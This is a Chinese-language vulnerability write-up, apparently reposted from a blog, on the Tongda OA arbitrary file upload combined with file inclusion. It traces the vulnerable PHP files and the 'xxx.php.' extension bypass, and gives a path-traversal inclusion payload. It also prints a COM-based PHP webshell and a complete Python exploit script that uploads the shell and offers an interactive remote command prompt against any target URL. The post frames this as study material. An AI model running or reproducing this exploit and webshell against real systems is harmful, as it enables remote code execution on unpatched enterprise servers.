php forms 上传更新json_通达OA任意文件上传漏洞详细分析
影響
影響范圍(但是只有V11版和2017版有包含文件的php,其余版本能上傳文件.):
V11版 2017版 2016版 2015版 2013增強版 2013版。
這個漏洞是幾個月前的漏洞,主要是學習一下這個漏洞代碼的形成原理和調式過程。
該漏洞主要是通過繞過身份驗證的情況下上傳文件,然后通過文件包含漏洞實現代碼執行
代碼分析
源碼經過zend 5.4加密,解密工具:
SeayDzend,可以自行百度下載
在線解密
http://dezend.qiling.org/free.html
任意文件上傳的關鍵文件
webroot\ispirit\im\upload.php
代碼分析:
可以看到只要判斷P參數是否不為空,就開啟了session
沒有P參數時候
有的時候
繼續往下走
判斷DEST_UID是否不為空,否則就會退出
判斷DEST_UID=0的時候,如果UPLOAD_MODE不等于2就直接退出了
判斷DEST_UID不等于0的時候直接判斷$_FILES數量是否有,也就是判斷有沒有上傳文件
這里可以是第二個情況,DEST_UID=0,UPLOAD_MODE=2進行下一步
也可以是DEST_UID不為0進入下一步
繼續往下走
可以這里又if語判斷上傳的模式,我們來看看上傳的模式有哪幾種,可以看到總共有1,2,3,其中1,2,3如果成功了是有回顯的
這里設置upload_mode為1,進入upload函數
會判斷是否/字符,然后判斷上傳的文件是否符合可上傳的格式,我們繼續走is_uploadable
可以看到如果上傳的格式是php,會返回false,這里用xxx.php.繞過
回過頭來看upload函數,最終會返回一個$ATTACHMENTS的數組,包含了ID,和NAME
繼續跟進,發現ATTACHMENTS是由add_attach函數生成的
繼續跟進
發現$FILENAME的拼成
繼續往下走的時候發現$path,和文件名的最終結果
各種追蹤發現就是attch/im/$YM/文件夾下面
其實不用這么復雜,就直接上傳文件,然后搜索那個文件最終放在哪不就完事了嗎?或者使用火絨劍分析行為和D盾進行文件監控
上傳結合前面的分析需要的參數有
這里不同的上傳模式,回顯的格式不一樣,這里的2格式舒服點,目錄就是2003,文件名對應后面的ID
由于這里的關鍵上傳了文件后OA系統有個文件包含漏洞,結合文件包含漏洞就可以實現RCE
文件包含代碼位置
/ispirit/interface/gateway.php
首先會接受一個json數據,然后轉換為數組,然后遍歷這個數據,如果key是url,url就對應值
然后繼續走
然后走到strpos,可以看到如果出現general/,ispirit,module/就會觸發文件包含構造payload
/general/../../attach/im/2003/1191415788.1.php
由于我上傳的時候是phpinfo函數,是禁用了這個函數的和危險函數,這里可以使用寫入一個webshell在當前執行的/ispirit/interface/目錄下
記得這里文件名前面要加個\
當然也可以使用COM組件bypass 危險函數
<?php $command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>也可以直接使用文件包含配合日志getshell
直接觸發nginx的錯誤日志,利用文件包含直接getshell
利用網上公開的腳本:
#!/usr/bin/env python3# -*- encoding: utf-8 -*-# oa通達文件上傳加文件包含遠程代碼執行import requestsimport reimport sysdef oa(url): upurl = url + '/ispirit/im/upload.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"} data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php \r\n$command=$_POST['cmd'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \ req = requests.post(url=upurl, headers=headers, data=data) filename = "".join(re.findall("2003_(.+?)\|",req.text)) in_url = url + '/ispirit/interface/gateway.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} data = "json={\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % (filename,"echo php00py") include_req = requests.post(url=in_url, headers=headers, data=data) if 'php00py' in include_req.text: print("[+] OA RCE vulnerability ") return filename else: print("[-] Not OA RCE vulnerability ") return Falsedef oa_rce(url, filename,command): url = url + '/ispirit/interface/gateway.php' headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} data = "json={\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % (filename,command) req = requests.post(url, headers=headers, data=data) print(req.text)if __name__ == '__main__': if len(sys.argv) < 2: print("please input your url python oa_rce.py http://127.0.0.1:8181") else: url = sys.argv[1] filename = oa(url) while filename: try: command = input("wran@shelLhost#") if command == "exit" or command == "quit": break else: oa_rce(url,filename,command) except KeyboardInterrupt: break腳本用的是COM繞過
end
總結
以上是生活随笔為你收集整理的php forms 上传更新json_通达OA任意文件上传漏洞详细分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 装机工具箱怎么还原 装机工具箱的恢复方法
- 下一篇: u盘装机重启怎么进入界面 如何进入u盘装